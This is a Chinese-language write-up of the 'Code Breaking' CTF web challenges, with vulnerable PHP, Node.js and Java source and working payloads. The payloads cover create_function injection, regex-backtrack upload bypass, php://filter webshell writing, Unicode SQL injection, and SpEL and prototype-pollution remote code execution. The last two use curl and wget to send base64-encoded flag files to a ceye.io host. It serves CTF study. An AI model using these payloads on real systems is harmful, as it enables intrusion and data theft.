CODE BREAKING
出现??即NULL合并运算符,所以是php7环境
本页目录
0x01 easy - function
题目
<?php$action = $_GET['action'] ?? '';$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__);} else { $action('', $arg);}解题思路
-
出现
??即NULL合并运算符,所以是php7环境 -
看着像
create_function代码执行,注意两点:i. 正则匹配
ii. create_function中的闭合 -
正则通过fuzz来试试怎么能绕过,发现
\可以<?php$a = '~!@#$%^&*()-=_+\\?/\'">.,<';for($i=0;$i<strlen($a);$i++){echo "[-]trying: ".$a[$i]."\n";$c = $a[$i]."create_function";if (function_exists($c)){echo "[!]--------find: ".$a[$i]."\n";}};?> -
payload
i. 列目录文件(比较菜,不知道怎么直接来)
?action=\create_function&arg=2;}$d=dir("/var/www/");while(($file=$d->read())!=false){echo"filename:".$file."";}/*// 更新两种方法scandir(dir)glob(dir)ii. flag
?action=\create_function&arg=2;}var_dump(readfile("/var/www/flag_h0w2execute_arb1trary_c0de"));/*
参考资料
0x02 easy - pcrewaf
题目
<?phpfunction is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);}
if(empty($_FILES)) { die(show_source(__FILE__));}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);$data = file_get_contents($_FILES['file']['tmp_name']);if (is_php($data)) { echo "bad request";} else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);}解题思路
-
主要就是绕过php文件内容的正则判断
-
由于正则使用非贪婪模式,当文件内容过大时即匹配无效,构造一个超大文件即可

-
payload(一句话没试成功…Orz)
<?php echo "----start----</br>";var_dump(file_get_contents("../../../flag_php7_2_1s_c0rrect"));echo "</br>----end----";/*aaa...*/
参考资料
0x03 easy - phpmagic
题目
<?phpif(isset($_GET['read-source'])) { exit(show_source(__FILE__));}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true);}chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');?><!doctype html><html lang="en"><head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">
<title>Domain Detail</title> <style> pre { width: 100%; background-color: #f6f8fa; border-radius: 3px; font-size: 85%; line-height: 1.45; overflow: auto; padding: 16px; border: 1px solid #ced4da; } </style></head><body>
<div class="container"> <div class="row"> <div class="col"> <form method="post"> <div class="input-group mt-3"> <div class="input-group-prepend"> <span class="input-group-text" id="basic-addon1">dig -t A -q</span> </div> <input type="text" name="domain" class="form-control" placeholder="Your domain"> <div class="input-group-append"> <button class="btn btn-outline-secondary" type="submit">执行</button> </div> </div> </form> </div>
</div>
<div class="row"> <div class="col"> <pre class="mt-3"><?php if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); }
echo $output; endif; ?></pre> </div> </div></div></body></html>解题思路
-
注意的有三点
i. dig 查询 A 记录并保存为文件内容
ii. 文件名前部分使用$_SERVER[‘SERVER_NAME’]
iii. log_name 后缀检测需要绕过 -
发现查询 A 记录的命令内容中返回有 CNAME(在 OSX 和 Kali 上都没有能返回 CNAME 记录呢?)
Terminal window ; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q test.xxx.com;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 47822;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0;; QUESTION SECTION:;test.xxx.com. IN A;; ANSWER SECTION:test.xxx.com. 600 IN CNAME pd9wahagzxzhbcgkx0dfvftjxsk7pz4k.com.;; AUTHORITY SECTION:com. 600 IN SOA a.gtld-servers.net. nstld.verisign-grs.com. 1543723372 1800 900 604800 86400;; Query time: 750 msec;; SERVER: 127.0.0.11#53(127.0.0.11);; WHEN: Sun Dec 02 04:03:24 UTC 2018;; MSG SIZE rcvd: 153 -
题中使用$_SERVER[‘SERVER_NAME’]且非80端口,则可通过修改host header控制(Host 不能为空)
Host: xxx >>> $_SERVER['SERVER_NAME']=xxx -
log_name 的检测绕过可以使用大小写,但是服务器不解析
如果我们传入的是文件名中包含一个不存在的路径,写入的时候因为会处理掉”/.” “/..”等相对路径,所以不会出错
根据参考资料3上述提到的方法进行绕过
domian=test.xxx.com&log=1.php/. -
整理一下
i. 查询的值其实也会在页面中出现,部分内容可控
ii. 脚本将查询A记录内容放入log中,但是同时有 CNAME 记录,后者可自定义程度比前者要高
iii. 文件名通过$_SERVER['SERVER_NAME']和$_POST['log']拼接,两者均可控,文件后缀可控
iv. file_get_contents支持php伪协议 -
payload
payload直接填充domain或添加到CNAME中 -> 利用php:// base64解析 -> 控制文件名生成shell
POST / HTTP/1.1Host: pdomain=PD9waHAgdmFyX2R1bXAocmVhZGZpbGUoJF9HRVRbImMiXSkpOyA/PiAK&log=hp://filter/convert.base64-decode/resource=1.php/.很凑巧,不至于太长导致无响应内容,且响应内容很短
Terminal window ; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q PD9waHAgdmFyX2R1bXAocmVhZGZpbGUoJF9HRVRbImMiXSkpOyA/PiAK;; global options: +cmd;; connection timed out; no servers could be reached访问
/1.php?c=../../../flag_phpmag1c_ur1 -
emmmmm,阿里云不允许 CNAME 采用大写,莫非自己建个 DNS ?这种方法先放着 Orz…
参考资料
- http://shiflett.org/blog/2006/server-name-versus-http-host
- https://www.cnblogs.com/52php/p/5670054.html
- http://www.am0s.com/functions/386.html
- https://lorexxar.cn/2016/09/14/php-wei/
0x04 easy - phplimit
题目
<?phpif(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);} else { show_source(__FILE__);}解题思路
-
正则使用递归匹配,那就表明code后面就需要使用
phpinfo();这种无参函数;或者需要的参数也使用类似的无参函数来获取填充比如var_dump(scandir(getcwd())); -
经过搜索后,发现
get_defined_vars函数此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
-
利用code构造一个执行函数,参数通过其他方式传入,比如$_GET
-
payload
?code=eval(next(current(get_defined_vars())));&cc=var_dump(readfile("../flag_phpbyp4ss"));// 或者直接用一个打,因为同目录下文件比较少,不然也没法一次 next 到?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
类似函数还有
| func | 说明 |
|---|---|
get_headers(string $url [, int $format = 0 ]) | 自 PHP 5.1.3 起本函数使用默认的流上下文,其可以用 stream_context_get_default() 函数设定和修改。 |
getenv(string $varname [, bool $local_only = FALSE]) | 5.5.38, 5.6.24, 7.0.9 添加 local_only 参数。 |
getenv(void) | 7.1.0 现在可以省略 varname 来检索所有环境变量的关联数组 array。 |
| … | … |
参考资料
0x05 easy - nodechr
题目
// initial librariesconst Koa = require('koa')const sqlite = require('sqlite')const fs = require('fs')const views = require('koa-views')const Router = require('koa-router')const send = require('koa-send')const bodyParser = require('koa-bodyparser')const session = require('koa-session')const isString = require('underscore').isStringconst basename = require('path').basename
const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
async function main() { const app = new Koa() const router = new Router() const db = await sqlite.open(':memory:')
await db.exec(`CREATE TABLE "main"."users" ( "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "username" TEXT NOT NULL, "password" TEXT, CONSTRAINT "unique_username" UNIQUE ("username") )`) await db.exec(`CREATE TABLE "main"."flags" ( "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "flag" TEXT NOT NULL )`) for (let user of config.users) { await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`) } await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)
app.use(views(__dirname + '/views', { map: { html: 'underscore' }, extension: 'html' })).use(bodyParser()).use(session(app))
app.use(router.routes()).use(router.allowedMethods());
app.keys = config.signed app.context.db = db app.context.router = router app.listen(3000)}
function safeKeyword(keyword) { if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) { return keyword }
return undefined}
async function login(ctx, next) { if(ctx.method == 'POST') { let username = safeKeyword(ctx.request.body['username']) let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login') if (username && password) { let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) { ctx.session.user = user
jump = ctx.router.url('admin') }
}
ctx.status = 303 ctx.redirect(jump) } else { await ctx.render('index') }}
async function static(ctx, next) { await send(ctx, ctx.path)}
async function admin(ctx, next) { if(!ctx.session.user) { ctx.status = 303 return ctx.redirect(ctx.router.url('login')) }
await ctx.render('admin', { 'user': ctx.session.user })}
async function source(ctx, next) { await send(ctx, basename(__filename))}
main()解题思路
- 很明显是登录有注入,关键函数
safeKeyword,在验证过后又会对输入toUpperCase - 想办法对大前不敏感,大写后敏感,用P牛的脚本fuzz一下(查了后才知道js内部使用utf-16)
| utf-16 | uppercase | lowercase | unicode | url encode |
|---|---|---|---|---|
| ı | I | 305 | %C4%B1 | |
| ſ | S | 383 | %C5%BF | |
| K | k | 8490 | %E2%84%AA |
-
弱口令admin/admin登录,可知username回显
-
payload
POST /login/ HTTP/1.1username=1&password=' unıon ſelect 1,(ſelect flag from flags)=1,'3
参考资料
- https://segmentfault.com/a/1190000006960642
- https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
- https://www.compart.com/en/unicode/
0x06 medium - javacon
题目
解题思路
-
主要问题在于以下两个地方,一个是如果
Cookie:remember-me存在则会存入session并调用spel解析值@GetMappingpublic String admin(@CookieValue(value = "remember-me", required = false) final String rememberMeValue, final HttpSession session, final Model model) {if (rememberMeValue != null && !rememberMeValue.equals("")) {final String username = this.userConfig.decryptRememberMe(rememberMeValue);if (username != null) {session.setAttribute("username", (Object)username);}}final Object username2 = session.getAttribute("username");if (username2 == null || username2.toString().equals("")) {return "redirect:/login";}model.addAttribute("name", (Object)this.getAdvanceValue(username2.toString()));return "hello";}// Pattern.compile 里的 34(flags参数) 可在 IDE 中查看详情private String getAdvanceValue(final String val) {for (final String keyword : this.keyworkProperties.getBlacklist()) {final Matcher matcher = Pattern.compile(keyword, 34).matcher(val);if (matcher.find()) {throw new HttpClientErrorException(HttpStatus.FORBIDDEN);}}final ParserContext parserContext = (ParserContext)new TemplateParserContext();final Expression exp = this.parser.parseExpression(val, parserContext);final SmallEvaluationContext evaluationContext = new SmallEvaluationContext();return exp.getValue((EvaluationContext)evaluationContext).toString();} -
主要就是绕黑名单实现解密、解析后的代码执行
-
黑名单使用拼接字符串即可绕过
// 正常的反射流程Method m1 = java.lang.Class.forName("java.lang.Runtime").getMethod("exec", String.class);Method m2 = Class.forName("java.lang.Runtime").getMethod("getRuntime");Object c1 = m2.invoke("java.lang.Runtime");Object c2 = m1.invoke(c1, "curl www.google.com");// 拼凑完整的payloadClass.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),"curl www.google.com"); -
payload
需要注意base64命令后面需要转换
\n,否则接收的结果不全RFC2045中有规定:
The encoded output stream must be represented in lines of no more than 76 characters each.
Base64一行不能超过76字符,超过则添加回车换行符。
Linux为
\nOSX里为\r// #{T(Class).forName("java.la"+"ng.Runt"+"ime").getMethod("e"+"xec", T(String[])).invoke(T(Class).forName("java.la"+"ng.Runt"+"ime").getMethod("getRu"+"ntime").invoke(T(Class).forName("java.la"+"ng.Runt"+"ime")), new String[]{"/bin/bash","-c","curl xxxx.ceye.io/`ls|base64|tr '\\n' '-'`"})}System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef","#{T(Class).forName(\"java.la\"+\"ng.Runt\"+\"ime\").getMethod(\"e\"+\"xec\", T(String[])).invoke(T(Class).forName(\"java.la\"+\"ng.Runt\"+\"ime\").getMethod(\"getRu\"+\"ntime\").invoke(T(Class).forName(\"java.la\"+\"ng.Runt\"+\"ime\")), new String[]{\"/bin/bash\",\"-c\",\"curl xxxx.ceye.io/`cat flag_j4v4_chun|base64|tr '\\n' '-'`\"})}"));将加密后的payload替换到登录后的cookie中(弱口令admin/admin),刷新页面即触发
参考资料
0x07 hard - thejs
看过原型链污染攻击,但是没有实践过,还是看这位师傅的wp才想起来。
根据wp分析下。
题目
thejs.tar.gz 源码下载(原站附件缺失,待补充)。
解题思路
-
通过参考资料1快速了解下prototype
function Foo() {...};let f1 = new Foo();
-
merge的利用主要是创建、覆盖 Object 下的变量,代码涉及回调+深度遍历,跟着看了一上午,整个人要疯了
-
因为服务器预期language为 Array,直接使用
__proto__会指向Array.prototype导致无法并入 Object

-
所以构造 Payload 可以通过以下两种方式
//通过 Array.__proto__.__proto__{"language":{"__proto__":{"__proto__"}}}//通过 Array.Object.__proto__{"language":{"randomword":{"__proto__"}}} -
在渲染页面前,express会将传递的参数放入options中,在node_modules/express/lib/application.js:554中合并到renderOptions中
// merge optionsmerge(renderOptions, opts);// function `merge` sourceexports = module.exports = function(a, b){if (a && b) {for (var key in b) {a[key] = b[key];}}return a;}; -
但是在这里会将
__proto__下的变量也加入到options中,这样就能控制渲染页面中的变量了例如在
__proto__下添加val1=xxx,遍历b中的key可见val1出现> for(var i in b){console.log(i)}languagecategory_localsval1 -
接着就要去找代码执行的点,在渲染时会将sourceURL直接拼接到页面中,但前面有个注释,通过
\n就可以bypass掉,之后就是代码执行了var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);});
-
payload
{"language":{"payload":{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('wget xxxx.ceye.io/$(cat /flag_thepr0t0js|base64|tr \"\\n\" \"-\")')"}}}}
受影响的库
i. Merge
| Package | Funtion | Fixable |
|---|---|---|
| hoek | hoek.merge | Fixed in version 4.2.1 |
| hoek.applyToDefaults | Fixed in version 5.0.3 | |
| lodash | lodash.defaultsDeep | Fixed in version 4.17.5 |
| lodash.merge | ||
| lodash.mergeWith | ||
| lodash.set | ||
| lodash.setWith | ||
| merge | merge.recursive | |
| defaults-deep | defaults-deep | Fixed in version 0.2.4 |
| merge-objects | merge-object | |
| assign-deep | assign-deep | Fixed in version 0.4.7 |
| merge-deep | merge-deep | Fixed in version 3.0.1 |
| mixin-deep | mixin-deep | Fixed in version 1.3.1 |
| deep-extend | deep-extend | |
| merge-options | merge-options | |
| deap | deap.extend | Fixed in version 1.0.1 |
| deap.merge | ||
| deap | ||
| merge-recursive | merge-recursive.recursive |
ii. Clone
| Package | Funtion | Fixable |
|---|---|---|
| deap | deap.clone | Fixed in version 1.0.1 |
iii. Property definition by path
| Package | Funtion |
|---|---|
| lodash | lodash.set |
| lodash.setWith | |
| pathval | pathval.setPathValue |
| pathval | |
| dot-prop | dot-prop.set |
| dot-prop | |
| object-path | object-path.withInheritedProps.ensureExists |
| object-path.withInheritedProps.set | |
| object-path.withInheritedProps.insert | |
| object-path.withInheritedProps.push | |
| object-path |